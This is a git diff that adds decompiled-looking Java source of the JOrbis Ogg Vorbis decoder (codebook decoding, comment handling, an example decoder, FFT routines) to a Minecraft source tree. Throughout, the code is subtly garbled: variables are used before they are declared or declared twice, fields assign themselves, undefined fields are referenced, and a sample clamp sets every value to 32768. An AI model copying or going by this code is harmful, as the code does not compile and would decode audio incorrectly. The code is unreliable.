+
+  int decodev_add(float[] a, int offset, Buffer b, int n)
+  {
+    int i;
+    if (dim > 8) {
+      for (i = 0; i < n;) {
+        int entry = decode(b);
+        if (entry == -1)
+          return -1;
+        t = entry * dim;
+        for (j = 0; j < dim;)
+          a[(offset + i++)] += valuelist[(t + j++)];
+      }
+    }
+    int t;
+    int j;
+    for (int i = 0; i < n;) {
+      int entry = decode(b);
+      if (entry == -1)
+        return -1;
+      int t = entry * dim;
+      int j = 0;
+      switch (dim) {
+      case 8: 
+        a[(offset + i++)] += valuelist[(t + j++)];
+      case 7: 
+        a[(offset + i++)] += valuelist[(t + j++)];
+      case 6: 
+        a[(offset + i++)] += valuelist[(t + j++)];
+      case 5: 
+        a[(offset + i++)] += valuelist[(t + j++)];
+      case 4: 
+        a[(offset + i++)] += valuelist[(t + j++)];
+      case 3: 
+        a[(offset + i++)] += valuelist[(t + j++)];
+      case 2: 
+        a[(offset + i++)] += valuelist[(t + j++)];
+      case 1: 
+        a[(offset + i++)] += valuelist[(t + j++)];
+      }
+      
+    }
+    
+
+    return 0;
+  }
+  
+
+
+  int decodev_set(float[] a, int offset, Buffer b, int n)
+  {
+    for (int i = 0; i < n;) {
+      int entry = decode(b);
+      if (entry == -1)
+        return -1;
+      t = entry * dim;
+      for (j = 0; j < dim;)
+        a[(offset + i++)] = valuelist[(t + j++)]; }
+    int t;
+    int j;
+    return 0;
+  }
+  
+  int decodevv_add(float[][] a, int offset, int ch, Buffer b, int n)
+  {
+    int chptr = 0;
+    
+    for (int i = offset / ch; i < (offset + n) / ch;) {
+      int entry = decode(b);
+      if (entry == -1) {
+        return -1;
+      }
+      int t = entry * dim;
+      for (int j = 0; j < dim; j++) {
+        a[(chptr++)][i] += valuelist[(t + j)];
+        if (chptr == ch) {
+          chptr = 0;
+          i++;
+        }
+      }
+    }
+    return 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  int decode(Buffer b)
+  {
+    int ptr = 0;
+    DecodeAux t = decode_tree;
+    int lok = b.look(tabn);
+    
+    if (lok >= 0) {
+      ptr = tab[lok];
+      b.adv(tabl[lok]);
+      if (ptr <= 0) {
+        return -ptr;
+      }
+    }
+    do {
+      switch (b.read1()) {
+      case 0: 
+        ptr = ptr0[ptr];
+        break;
+      case 1: 
+        ptr = ptr1[ptr];
+        break;
+      case -1: 
+      default: 
+        return -1;
+      }
+      
+    } while (ptr > 0);
+    return -ptr;
+  }
+  
+  int decodevs(float[] a, int index, Buffer b, int step, int addmul)
+  {
+    int entry = decode(b);
+    if (entry == -1)
+      return -1;
+    switch (addmul) {
+    case -1: 
+      int i = 0; for (int o = 0; i < dim; o += step) {
+        a[(index + o)] = valuelist[(entry * dim + i)];i++; }
+      break;
+    case 0: 
+      int i = 0; for (int o = 0; i < dim; o += step) {
+        a[(index + o)] += valuelist[(entry * dim + i)];i++; }
+      break;
+    case 1: 
+      int i = 0; for (int o = 0; i < dim; o += step) {
+        a[(index + o)] *= valuelist[(entry * dim + i)];i++; }
+      break;
+    }
+    
+    
+    return entry;
+  }
+  
+
+  int best(float[] a, int step)
+  {
+    int besti = -1;
+    float best = 0.0F;
+    int e = 0;
+    for (int i = 0; i < entries; i++) {
+      if (c.lengthlist[i] > 0) {
+        float _this = dist(dim, valuelist, e, a, step);
+        if ((besti == -1) || (_this < best)) {
+          best = _this;
+          besti = i;
+        }
+      }
+      e += dim;
+    }
+    return besti;
+  }
+  
+
+  int besterror(float[] a, int step, int addmul)
+  {
+    int best = best(a, step);
+    switch (addmul) {
+    case 0: 
+      int i = 0; for (int o = 0; i < dim; o += step) {
+        a[o] -= valuelist[(best * dim + i)];i++; }
+      break;
+    case 1: 
+      int i = 0; for (int o = 0; i < dim; o += step) {
+        float val = valuelist[(best * dim + i)];
+        if (val == 0.0F) {
+          a[o] = 0.0F;
+        }
+        else {
+          a[o] /= val;
+        }
+        i++;
+      }
+    }
+    
+    
+
+
+
+
+
+
+    return best;
+  }
+  
+
+
+  private static float dist(int el, float[] ref, int index, float[] b, int step)
+  {
+    float acc = 0.0F;
+    for (int i = 0; i < el; i++) {
+      float val = ref[(index + i)] - b[(i * step)];
+      acc += val * val;
+    }
+    return acc;
+  }
+  
+  int init_decode(StaticCodeBook s) {
+    c = s;
+    entries = entries;
+    dim = dim;
+    valuelist = s.unquantize();
+    
+    decode_tree = make_decode_tree();
+    if (decode_tree == null) {
+      clear();
+      return -1;
+    }
+    return 0;
+  }
+  
+
+
+  static int[] make_words(int[] l, int n)
+  {
+    int[] marker = new int[33];
+    int[] r = new int[n];
+    
+    for (int i = 0; i < n; i++) {
+      int length = l[i];
+      if (length > 0) {
+        int entry = marker[length];
+        
+
+
+
+
+
+
+        if ((length < 32) && (entry >>> length != 0))
+        {
+
+          return null;
+        }
+        r[i] = entry;
+        
+
+
+
+        for (int j = length; j > 0; j--) {
+          if ((marker[j] & 0x1) != 0)
+          {
+            if (j == 1) {
+              marker[1] += 1; break;
+            }
+            marker[j] = (marker[(j - 1)] << 1);
+            break;
+          }
+          
+          marker[j] += 1;
+        }
+        
+
+
+
+
+        for (int j = length + 1; j < 33; j++) {
+          if (marker[j] >>> 1 != entry) break;
+          entry = marker[j];
+          marker[j] = (marker[(j - 1)] << 1);
+        }
+      }
+    }
+    
+
+
+
+
+
+
+    for (int i = 0; i < n; i++) {
+      int temp = 0;
+      for (int j = 0; j < l[i]; j++) {
+        temp <<= 1;
+        temp |= r[i] >>> j & 0x1;
+      }
+      r[i] = temp;
+    }
+    
+    return r;
+  }
+  
+  DecodeAux make_decode_tree()
+  {
+    int top = 0;
+    DecodeAux t = new DecodeAux();
+    int[] ptr0 = t.ptr0 = new int[entries * 2];
+    int[] ptr1 = t.ptr1 = new int[entries * 2];
+    int[] codelist = make_words(c.lengthlist, c.entries);
+    
+    if (codelist == null)
+      return null;
+    aux = (entries * 2);
+    
+    for (int i = 0; i < entries; i++) {
+      if (c.lengthlist[i] > 0) {
+        int ptr = 0;
+        
+        for (int j = 0; j < c.lengthlist[i] - 1; j++) {
+          int bit = codelist[i] >>> j & 0x1;
+          if (bit == 0) {
+            if (ptr0[ptr] == 0) {
+              ptr0[ptr] = (++top);
+            }
+            ptr = ptr0[ptr];
+          }
+          else {
+            if (ptr1[ptr] == 0) {
+              ptr1[ptr] = (++top);
+            }
+            ptr = ptr1[ptr];
+          }
+        }
+        
+        if ((codelist[i] >>> j & 0x1) == 0) {
+          ptr0[ptr] = (-i);
+        }
+        else {
+          ptr1[ptr] = (-i);
+        }
+      }
+    }
+    
+
+    tabn = (Util.ilog(entries) - 4);
+    
+    if (tabn < 5)
+      tabn = 5;
+    int n = 1 << tabn;
+    tab = new int[n];
+    tabl = new int[n];
+    for (int i = 0; i < n; i++) {
+      int p = 0;
+      int j = 0;
+      for (j = 0; (j < tabn) && ((p > 0) || (j == 0)); j++) {
+        if ((i & 1 << j) != 0) {
+          p = ptr1[p];
+        }
+        else {
+          p = ptr0[p];
+        }
+      }
+      tab[i] = p;
+      tabl[i] = j;
+    }
+    
+    return t;
+  }
+  
+  void clear() {}
+  
+  class DecodeAux
+  {
+    int[] tab;
+    int[] tabl;
+    int tabn;
+    int[] ptr0;
+    int[] ptr1;
+    int aux;
+    
+    DecodeAux() {}
+  }
+}
diff --git a/src/minecraft/com/jcraft/jorbis/Comment.java b/src/minecraft/com/jcraft/jorbis/Comment.java
new file mode 100644
index 0000000..a2b938a
--- /dev/null
+++ b/src/minecraft/com/jcraft/jorbis/Comment.java
@@ -0,0 +1,243 @@
+package com.jcraft.jorbis;
+
+import com.jcraft.jogg.Buffer;
+import com.jcraft.jogg.Packet;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Comment
+{
+  private static byte[] _vorbis = "vorbis".getBytes();
+  private static byte[] _vendor = "Xiphophorus libVorbis I 20000508".getBytes();
+  private static final int OV_EIMPL = -130;
+  public byte[][] user_comments;
+  public int[] comment_lengths;
+  public int comments;
+  public byte[] vendor;
+  
+  public Comment() {}
+  
+  public void init()
+  {
+    user_comments = ((byte[][])null);
+    comments = 0;
+    vendor = null;
+  }
+  
+  public void add(String comment) {
+    add(comment.getBytes());
+  }
+  
+  private void add(byte[] comment) {
+    byte[][] foo = new byte[comments + 2][];
+    if (user_comments != null) {
+      System.arraycopy(user_comments, 0, foo, 0, comments);
+    }
+    user_comments = foo;
+    
+    int[] goo = new int[comments + 2];
+    if (comment_lengths != null) {
+      System.arraycopy(comment_lengths, 0, goo, 0, comments);
+    }
+    comment_lengths = goo;
+    
+    byte[] bar = new byte[comment.length + 1];
+    System.arraycopy(comment, 0, bar, 0, comment.length);
+    user_comments[comments] = bar;
+    comment_lengths[comments] = comment.length;
+    comments += 1;
+    user_comments[comments] = null;
+  }
+  
+  public void add_tag(String tag, String contents) {
+    if (contents == null)
+      contents = "";
+    add(tag + "=" + contents);
+  }
+  
+  static boolean tagcompare(byte[] s1, byte[] s2, int n) {
+    int c = 0;
+    
+    while (c < n) {
+      byte u1 = s1[c];
+      byte u2 = s2[c];
+      if ((90 >= u1) && (u1 >= 65))
+        u1 = (byte)(u1 - 65 + 97);
+      if ((90 >= u2) && (u2 >= 65))
+        u2 = (byte)(u2 - 65 + 97);
+      if (u1 != u2) {
+        return false;
+      }
+      c++;
+    }
+    return true;
+  }
+  
+  public String query(String tag) {
+    return query(tag, 0);
+  }
+  
+  public String query(String tag, int count) {
+    int foo = query(tag.getBytes(), count);
+    if (foo == -1)
+      return null;
+    byte[] comment = user_comments[foo];
+    for (int i = 0; i < comment_lengths[foo]; i++) {
+      if (comment[i] == 61) {
+        return new String(comment, i + 1, comment_lengths[foo] - (i + 1));
+      }
+    }
+    return null;
+  }
+  
+  private int query(byte[] tag, int count) {
+    int i = 0;
+    int found = 0;
+    int fulltaglen = tag.length + 1;
+    byte[] fulltag = new byte[fulltaglen];
+    System.arraycopy(tag, 0, fulltag, 0, tag.length);
+    fulltag[tag.length] = 61;
+    
+    for (i = 0; i < comments; i++) {
+      if (tagcompare(user_comments[i], fulltag, fulltaglen)) {
+        if (count == found)
+        {
+
+          return i;
+        }
+        
+        found++;
+      }
+    }
+    
+    return -1;
+  }
+  
+  int unpack(Buffer opb) {
+    int vendorlen = opb.read(32);
+    if (vendorlen < 0) {
+      clear();
+      return -1;
+    }
+    vendor = new byte[vendorlen + 1];
+    opb.read(vendor, vendorlen);
+    comments = opb.read(32);
+    if (comments < 0) {
+      clear();
+      return -1;
+    }
+    user_comments = new byte[comments + 1][];
+    comment_lengths = new int[comments + 1];
+    
+    for (int i = 0; i < comments; i++) {
+      int len = opb.read(32);
+      if (len < 0) {
+        clear();
+        return -1;
+      }
+      comment_lengths[i] = len;
+      user_comments[i] = new byte[len + 1];
+      opb.read(user_comments[i], len);
+    }
+    if (opb.read(1) != 1) {
+      clear();
+      return -1;
+    }
+    
+    return 0;
+  }
+  
+  int pack(Buffer opb)
+  {
+    opb.write(3, 8);
+    opb.write(_vorbis);
+    
+
+    opb.write(_vendor.length, 32);
+    opb.write(_vendor);
+    
+
+    opb.write(comments, 32);
+    if (comments != 0) {
+      for (int i = 0; i < comments; i++) {
+        if (user_comments[i] != null) {
+          opb.write(comment_lengths[i], 32);
+          opb.write(user_comments[i]);
+        }
+        else {
+          opb.write(0, 32);
+        }
+      }
+    }
+    opb.write(1, 1);
+    return 0;
+  }
+  
+  public int header_out(Packet op) {
+    Buffer opb = new Buffer();
+    opb.writeinit();
+    
+    if (pack(opb) != 0) {
+      return 65406;
+    }
+    packet_base = new byte[opb.bytes()];
+    packet = 0;
+    bytes = opb.bytes();
+    System.arraycopy(opb.buffer(), 0, packet_base, 0, bytes);
+    b_o_s = 0;
+    e_o_s = 0;
+    granulepos = 0L;
+    return 0;
+  }
+  
+  void clear() {
+    for (int i = 0; i < comments; i++)
+      user_comments[i] = null;
+    user_comments = ((byte[][])null);
+    vendor = null;
+  }
+  
+  public String getVendor() {
+    return new String(vendor, 0, vendor.length - 1);
+  }
+  
+  public String getComment(int i) {
+    if (comments <= i)
+      return null;
+    return new String(user_comments[i], 0, user_comments[i].length - 1);
+  }
+  
+  public String toString() {
+    String foo = "Vendor: " + new String(vendor, 0, vendor.length - 1);
+    for (int i = 0; i < comments; i++) {
+      foo = foo + "\nComment: " + new String(user_comments[i], 0, user_comments[i].length - 1);
+    }
+    
+    foo = foo + "\n";
+    return foo;
+  }
+}
diff --git a/src/minecraft/com/jcraft/jorbis/DecodeExample.java b/src/minecraft/com/jcraft/jorbis/DecodeExample.java
new file mode 100644
index 0000000..f04c7a7
--- /dev/null
+++ b/src/minecraft/com/jcraft/jorbis/DecodeExample.java
@@ -0,0 +1,324 @@
+package com.jcraft.jorbis;
+
+import com.jcraft.jogg.Packet;
+import com.jcraft.jogg.Page;
+import com.jcraft.jogg.StreamState;
+import com.jcraft.jogg.SyncState;
+import java.io.FileInputStream;
+import java.io.InputStream;
+import java.io.PrintStream;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class DecodeExample
+{
+  DecodeExample() {}
+  
+  static int convsize = 8192;
+  static byte[] convbuffer = new byte[convsize];
+  
+  public static void main(String[] arg) {
+    InputStream input = System.in;
+    if (arg.length > 0) {
+      try {
+        input = new FileInputStream(arg[0]);
+      }
+      catch (Exception e) {
+        System.err.println(e);
+      }
+    }
+    
+    SyncState oy = new SyncState();
+    StreamState os = new StreamState();
+    Page og = new Page();
+    Packet op = new Packet();
+    
+    Info vi = new Info();
+    Comment vc = new Comment();
+    DspState vd = new DspState();
+    Block vb = new Block(vd);
+    
+
+    int bytes = 0;
+    
+
+
+    oy.init();
+    for (;;)
+    {
+      int eos = 0;
+      
+
+
+
+
+
+
+      int index = oy.buffer(4096);
+      byte[] buffer = data;
+      try {
+        bytes = input.read(buffer, index, 4096);
+      }
+      catch (Exception e) {
+        System.err.println(e);
+        System.exit(-1);
+      }
+      oy.wrote(bytes);
+      
+
+      if (oy.pageout(og) != 1)
+      {
+        if (bytes < 4096) {
+          break;
+        }
+        
+        System.err.println("Input does not appear to be an Ogg bitstream.");
+        System.exit(1);
+      }
+      
+
+
+      os.init(og.serialno());
+      
+
+
+
+
+
+
+
+
+      vi.init();
+      vc.init();
+      if (os.pagein(og) < 0)
+      {
+        System.err.println("Error reading first page of Ogg bitstream data.");
+        System.exit(1);
+      }
+      
+      if (os.packetout(op) != 1)
+      {
+        System.err.println("Error reading initial header packet.");
+        System.exit(1);
+      }
+      
+      if (vi.synthesis_headerin(vc, op) < 0)
+      {
+        System.err.println("This Ogg bitstream does not contain Vorbis audio data.");
+        
+        System.exit(1);
+      }
+      
+
+
+
+
+
+
+
+
+
+
+      int i = 0;
+      while (i < 2) {
+        while (i < 2)
+        {
+          int result = oy.pageout(og);
+          if (result == 0) {
+            break;
+          }
+          
+
+          if (result == 1) {
+            os.pagein(og);
+            
+
+            while (i < 2) {
+              result = os.packetout(op);
+              if (result == 0)
+                break;
+              if (result == -1)
+              {
+
+                System.err.println("Corrupt secondary header.  Exiting.");
+                System.exit(1);
+              }
+              vi.synthesis_headerin(vc, op);
+              i++;
+            }
+          }
+        }
+        
+        index = oy.buffer(4096);
+        buffer = data;
+        try {
+          bytes = input.read(buffer, index, 4096);
+        }
+        catch (Exception e) {
+          System.err.println(e);
+          System.exit(1);
+        }
+        if ((bytes == 0) && (i < 2)) {
+          System.err.println("End of file before finding all Vorbis headers!");
+          System.exit(1);
+        }
+        oy.wrote(bytes);
+      }
+      
+
+
+
+      byte[][] ptr = user_comments;
+      for (int j = 0; j < ptr.length; j++) {
+        if (ptr[j] == null)
+          break;
+        System.err.println(new String(ptr[j], 0, ptr[j].length - 1));
+      }
+      System.err.println("\nBitstream is " + channels + " channel, " + rate + "Hz");
+      
+      System.err.println("Encoded by: " + new String(vendor, 0, vendor.length - 1) + "\n");
+      
+
+
+      convsize = 4096 / channels;
+      
+
+
+      vd.synthesis_init(vi);
+      vb.init(vd);
+      
+
+
+
+
+      float[][][] _pcm = new float[1][][];
+      int[] _index = new int[channels];
+      
+      while (eos == 0) {
+        while (eos == 0)
+        {
+          int result = oy.pageout(og);
+          if (result == 0)
+            break;
+          if (result == -1) {
+            System.err.println("Corrupt or missing data in bitstream; continuing...");
+          }
+          else
+          {
+            os.pagein(og);
+            for (;;)
+            {
+              result = os.packetout(op);
+              
+              if (result == 0)
+                break;
+              if (result != -1)
+              {
+
+
+
+
+                if (vb.synthesis(op) == 0) {
+                  vd.synthesis_blockin(vb);
+                }
+                
+
+
+                int samples;
+                
+
+                while ((samples = vd.synthesis_pcmout(_pcm, _index)) > 0) {
+                  float[][] pcm = _pcm[0];
+                  int bout = samples < convsize ? samples : convsize;
+                  
+
+
+                  for (i = 0; i < channels; i++) {
+                    int ptr = i * 2;
+                    
+                    int mono = _index[i];
+                    for (int j = 0; j < bout; j++) {
+                      int val = (int)(pcm[i][(mono + j)] * 32767.0D);
+                      
+
+
+                      if (val > 32767) {
+                        val = 32767;
+                      }
+                      if (val < 32768) {
+                        val = 32768;
+                      }
+                      if (val < 0)
+                        val |= 0x8000;
+                      convbuffer[ptr] = ((byte)val);
+                      convbuffer[(ptr + 1)] = ((byte)(val >>> 8));
+                      ptr += 2 * channels;
+                    }
+                  }
+                  
+                  System.out.write(convbuffer, 0, 2 * channels * bout);
+                  
+
+
+
+                  vd.synthesis_read(bout);
+                }
+              }
+            }
+            if (og.eos() != 0)
+              eos = 1;
+          }
+        }
+        if (eos == 0) {
+          index = oy.buffer(4096);
+          buffer = data;
+          try {
+            bytes = input.read(buffer, index, 4096);
+          }
+          catch (Exception e) {
+            System.err.println(e);
+            System.exit(1);
+          }
+          oy.wrote(bytes);
+          if (bytes == 0) {
+            eos = 1;
+          }
+        }
+      }
+      
+
+
+      os.clear();
+      
+
+
+
+      vb.clear();
+      vd.clear();
+      vi.clear();
+    }
+    
+
+    oy.clear();
+    System.err.println("Done.");
+  }
+}
diff --git a/src/minecraft/com/jcraft/jorbis/Drft.java b/src/minecraft/com/jcraft/jorbis/Drft.java
new file mode 100644
index 0000000..f62f4d4
--- /dev/null
+++ b/src/minecraft/com/jcraft/jorbis/Drft.java
@@ -0,0 +1,1328 @@
+package com.jcraft.jorbis;
+
+
+
+
+
+
+class Drft
+{
+  int n;
+  
+
+
+
+
+  float[] trigcache;
+  
+
+
+
+  int[] splitcache;
+  
+
+
+
+
+  Drft() {}
+  
+
+
+
+
+  void backward(float[] data)
+  {
+    if (n == 1)
+      return;
+    drftb1(n, data, trigcache, trigcache, n, splitcache);
+  }
+  
+  void init(int n) {
+    this.n = n;
+    trigcache = new float[3 * n];
+    splitcache = new int[32];
+    fdrffti(n, trigcache, splitcache);
+  }
+  
+  void clear() {
+    if (trigcache != null)
+      trigcache = null;
+    if (splitcache != null)
+      splitcache = null;
+  }
+  
+  static int[] ntryh = { 4, 2, 3, 5 };
+  static float tpi = 6.2831855F;
+  static float hsqt2 = 0.70710677F;
+  static float taui = 0.8660254F;
+  static float taur = -0.5F;
+  static float sqrt2 = 1.4142135F;
+  
+  static void drfti1(int n, float[] wa, int index, int[] ifac)
+  {
+    int ntry = 0;int j = -1;
+    
+
+
+    int nl = n;
+    int nf = 0;
+    
+    int state = 101;
+    for (;;) {
+      int i;
+      switch (state) {
+      case 101: 
+        j++;
+        if (j < 4) {
+          ntry = ntryh[j];
+        } else
+          ntry += 2;
+      case 104: 
+        int nq = nl / ntry;
+        int nr = nl - ntry * nq;
+        if (nr != 0) {
+          state = 101;
+        }
+        else {
+          nf++;
+          ifac[(nf + 1)] = ntry;
+          nl = nq;
+          if (ntry != 2) {
+            state = 107;
+
+          }
+          else if (nf == 1) {
+            state = 107;
+          }
+          else
+          {
+            for (i = 1; i < nf; i++) {
+              int ib = nf - i + 1;
+              ifac[(ib + 1)] = ifac[ib];
+            }
+            ifac[2] = 2;
+          } }
+        break; case 107:  if (nl != 1) {
+          state = 104;
+        }
+        else {
+          ifac[0] = n;
+          ifac[1] = nf;
+          float argh = tpi / n;
+          int is = 0;
+          int nfm1 = nf - 1;
+          int l1 = 1;
+          
+          if (nfm1 == 0) {
+            return;
+          }
+          for (int k1 = 0; k1 < nfm1; k1++) {
+            int ip = ifac[(k1 + 2)];
+            int ld = 0;
+            int l2 = l1 * ip;
+            int ido = n / l2;
+            int ipm = ip - 1;
+            
+            for (j = 0; j < ipm; j++) {
+              ld += l1;
+              i = is;
+              float argld = ld * argh;
+              float fi = 0.0F;
+              for (int ii = 2; ii < ido; ii += 2) {
+                fi += 1.0F;
+                float arg = fi * argld;
+                wa[(index + i++)] = ((float)Math.cos(arg));
+                wa[(index + i++)] = ((float)Math.sin(arg));
+              }
+              is += ido;
+            }
+            l1 = l2; } }
+        break; } }
+    int nfm1;
+    int is;
+    int l1;
+    int k1;
+    float argh; }
+  
+  static void fdrffti(int n, float[] wsave, int[] ifac) { if (n == 1)
+      return;
+    drfti1(n, wsave, n, ifac);
+  }
+  
+
+
+
+
+  static void dradf2(int ido, int l1, float[] cc, float[] ch, float[] wa1, int index)
+  {
+    int t1 = 0;
+    int t2; int t0 = t2 = l1 * ido;
+    int t3 = ido << 1;
+    for (int k = 0; k < l1; k++) {
+      ch[(t1 << 1)] = (cc[t1] + cc[t2]);
+      ch[((t1 << 1) + t3 - 1)] = (cc[t1] - cc[t2]);
+      t1 += ido;
+      t2 += ido;
+    }
+    
+    if (ido < 2) {
+      return;
+    }
+    if (ido != 2) {
+      t1 = 0;
+      t2 = t0;
+      for (k = 0; k < l1; k++) {
+        t3 = t2;
+        int t4 = (t1 << 1) + (ido << 1);
+        int t5 = t1;
+        int t6 = t1 + t1;
+        for (int i = 2; i < ido; i += 2) {
+          t3 += 2;
+          t4 -= 2;
+          t5 += 2;
+          t6 += 2;
+          float tr2 = wa1[(index + i - 2)] * cc[(t3 - 1)] + wa1[(index + i - 1)] * cc[t3];
+          float ti2 = wa1[(index + i - 2)] * cc[t3] - wa1[(index + i - 1)] * cc[(t3 - 1)];
+          cc[t5] += ti2;
+          ch[t4] = (ti2 - cc[t5]);
+          cc[(t5 - 1)] += tr2;
+          cc[(t5 - 1)] -= tr2;
+        }
+        t1 += ido;
+        t2 += ido;
+      }
+      if (ido % 2 == 1) {
+        return;
+      }
+    }
+    t3 = t2 = (t1 = ido) - 1;
+    t2 += t0;
+    for (k = 0; k < l1; k++) {
+      ch[t1] = (-cc[t2]);
+      ch[(t1 - 1)] = cc[t3];
+      t1 += (ido << 1);
+      t2 += ido;
+      t3 += ido;
+    }
+  }
+  
+
+
+  static void dradf4(int ido, int l1, float[] cc, float[] ch, float[] wa1, int index1, float[] wa2, int index2, float[] wa3, int index3)
+  {
+    int t0 = l1 * ido;
+    
+    int t1 = t0;
+    int t4 = t1 << 1;
+    int t2 = t1 + (t1 << 1);
+    int t3 = 0;
+    
+    for (int k = 0; k < l1; k++) {
+      float tr1 = cc[t1] + cc[t2];
+      float tr2 = cc[t3] + cc[t4]; int 
+      
+        tmp63_62 = (t3 << 2);int t5 = tmp63_62;ch[tmp63_62] = (tr1 + tr2);
+      ch[((ido << 2) + t5 - 1)] = (tr2 - tr1); int 
+        tmp94_93 = (t5 + (ido << 1));t5 = tmp94_93;ch[(tmp94_93 - 1)] = (cc[t3] - cc[t4]);
+      cc[t2] -= cc[t1];
+      
+      t1 += ido;
+      t2 += ido;
+      t3 += ido;
+      t4 += ido;
+    }
+    if (ido < 2) {
+      return;
+    }
+    if (ido != 2) {
+      t1 = 0;
+      for (k = 0; k < l1; k++) {
+        t2 = t1;
+        t4 = t1 << 2;
+        int t6; int t5 = (t6 = ido << 1) + t4;
+        for (int i = 2; i < ido; i += 2) {
+          t2 += 2;t3 = t2;
+          t4 += 2;
+          t5 -= 2;
+          
+          t3 += t0;
+          float cr2 = wa1[(index1 + i - 2)] * cc[(t3 - 1)] + wa1[(index1 + i - 1)] * cc[t3];
+          float ci2 = wa1[(index1 + i - 2)] * cc[t3] - wa1[(index1 + i - 1)] * cc[(t3 - 1)];
+          t3 += t0;
+          float cr3 = wa2[(index2 + i - 2)] * cc[(t3 - 1)] + wa2[(index2 + i - 1)] * cc[t3];
+          float ci3 = wa2[(index2 + i - 2)] * cc[t3] - wa2[(index2 + i - 1)] * cc[(t3 - 1)];
+          t3 += t0;
+          float cr4 = wa3[(index3 + i - 2)] * cc[(t3 - 1)] + wa3[(index3 + i - 1)] * cc[t3];
+          float ci4 = wa3[(index3 + i - 2)] * cc[t3] - wa3[(index3 + i - 1)] * cc[(t3 - 1)];
+          
+          float tr1 = cr2 + cr4;
+          float tr4 = cr4 - cr2;
+          float ti1 = ci2 + ci4;
+          float ti4 = ci2 - ci4;
+          
+          float ti2 = cc[t2] + ci3;
+          float ti3 = cc[t2] - ci3;
+          float tr2 = cc[(t2 - 1)] + cr3;
+          float tr3 = cc[(t2 - 1)] - cr3;
+          
+          ch[(t4 - 1)] = (tr1 + tr2);
+          ch[t4] = (ti1 + ti2);
+          
+          ch[(t5 - 1)] = (tr3 - ti4);
+          ch[t5] = (tr4 - ti3);
+          
+          ch[(t4 + t6 - 1)] = (ti4 + tr3);
+          ch[(t4 + t6)] = (tr4 + ti3);
+          
+          ch[(t5 + t6 - 1)] = (tr2 - tr1);
+          ch[(t5 + t6)] = (ti1 - ti2);
+        }
+        t1 += ido;
+      }
+      if ((ido & 0x1) != 0) {
+        return;
+      }
+    }
+    t2 = (t1 = t0 + ido - 1) + (t0 << 1);
+    t3 = ido << 2;
+    t4 = ido;
+    int t5 = ido << 1;
+    int t6 = ido;
+    
+    for (k = 0; k < l1; k++) {
+      float ti1 = -hsqt2 * (cc[t1] + cc[t2]);
+      float tr1 = hsqt2 * (cc[t1] - cc[t2]);
+      
+      ch[(t4 - 1)] = (tr1 + cc[(t6 - 1)]);
+      ch[(t4 + t5 - 1)] = (cc[(t6 - 1)] - tr1);
+      
+      ch[t4] = (ti1 - cc[(t1 + t0)]);
+      ch[(t4 + t5)] = (ti1 + cc[(t1 + t0)]);
+      
+      t1 += ido;
+      t2 += ido;
+      t4 += t3;
+      t6 += ido;
+    }
+  }
+  
+
+  static void dradfg(int ido, int ip, int l1, int idl1, float[] cc, float[] c1, float[] c2, float[] ch, float[] ch2, float[] wa, int index)
+  {
+    int t2 = 0;
+    
+
+    float dcp = 0.0F;float dsp = 0.0F;
+    
+
+    float arg = tpi / ip;
+    dcp = (float)Math.cos(arg);
+    dsp = (float)Math.sin(arg);
+    int ipph = ip + 1 >> 1;
+    int ipp2 = ip;
+    int idp2 = ido;
+    int nbd = ido - 1 >> 1;
+    int t0 = l1 * ido;
+    int t10 = ip * ido;
+    
+    int state = 100;
+    for (;;) { int ik;
+      int t1; int j; int t3; int k; int i; int t1; int t4; int t5; switch (state) {
+      case 101: 
+        if (ido == 1) {
+          state = 119;
+        }
+        else {
+          for (ik = 0; ik < idl1; ik++) {
+            ch2[ik] = c2[ik];
+          }
+          t1 = 0;
+          for (j = 1; j < ip; j++) {
+            t1 += t0;
+            t2 = t1;
+            for (int k = 0; k < l1; k++) {
+              ch[t2] = c1[t2];
+              t2 += ido;
+            }
+          }
+          
+          int is = -ido;
+          t1 = 0;
+          if (nbd > l1) {
+            for (j = 1; j < ip; j++) {
+              t1 += t0;
+              is += ido;
+              t2 = -ido + t1;
+              for (int k = 0; k < l1; k++) {
+                int idij = is - 1;
+                t2 += ido;
+                int t3 = t2;
+                for (int i = 2; i < ido; i += 2) {
+                  idij += 2;
+                  t3 += 2;
+                  ch[(t3 - 1)] = (wa[(index + idij - 1)] * c1[(t3 - 1)] + wa[(index + idij)] * c1[t3]);
+                  ch[t3] = (wa[(index + idij - 1)] * c1[t3] - wa[(index + idij)] * c1[(t3 - 1)]);
+                }
+              }
+            }
+          }
+          
+
+          for (j = 1; j < ip; j++) {
+            is += ido;
+            int idij = is - 1;
+            t1 += t0;
+            t2 = t1;
+            for (int i = 2; i < ido; i += 2) {
+              idij += 2;
+              t2 += 2;
+              int t3 = t2;
+              for (int k = 0; k < l1; k++) {
+                ch[(t3 - 1)] = (wa[(index + idij - 1)] * c1[(t3 - 1)] + wa[(index + idij)] * c1[t3]);
+                ch[t3] = (wa[(index + idij - 1)] * c1[t3] - wa[(index + idij)] * c1[(t3 - 1)]);
+                t3 += ido;
+              }
+            }
+          }
+          
+
+          t1 = 0;
+          t2 = ipp2 * t0;
+          if (nbd < l1) {
+            for (j = 1; j < ipph; j++) {
+              t1 += t0;
+              t2 -= t0;
+              int t3 = t1;
+              int t4 = t2;
+              for (int i = 2; i < ido; i += 2) {
+                t3 += 2;
+                t4 += 2;
+                int t5 = t3 - ido;
+                int t6 = t4 - ido;
+                for (int k = 0; k < l1; k++) {
+                  t5 += ido;
+                  t6 += ido;
+                  ch[(t5 - 1)] += ch[(t6 - 1)];
+                  c1[(t6 - 1)] = (ch[t5] - ch[t6]);
+                  ch[t5] += ch[t6];
+                  c1[t6] = (ch[(t6 - 1)] - ch[(t5 - 1)]);
+                }
+              }
+            }
+          }
+          
+          for (j = 1; j < ipph; j++) {
+            t1 += t0;
+            t2 -= t0;
+            int t3 = t1;
+            int t4 = t2;
+            for (int k = 0; k < l1; k++) {
+              int t5 = t3;
+              int t6 = t4;
+              for (int i = 2; i < ido; i += 2) {
+                t5 += 2;
+                t6 += 2;
+                ch[(t5 - 1)] += ch[(t6 - 1)];
+                c1[(t6 - 1)] = (ch[t5] - ch[t6]);
+                ch[t5] += ch[t6];
+                c1[t6] = (ch[(t6 - 1)] - ch[(t5 - 1)]);
+              }
+              t3 += ido;
+              t4 += ido;
+            }
+          }
+        }
+        break;
+      case 119:  for (ik = 0; ik < idl1; ik++) {
+          c2[ik] = ch2[ik];
+        }
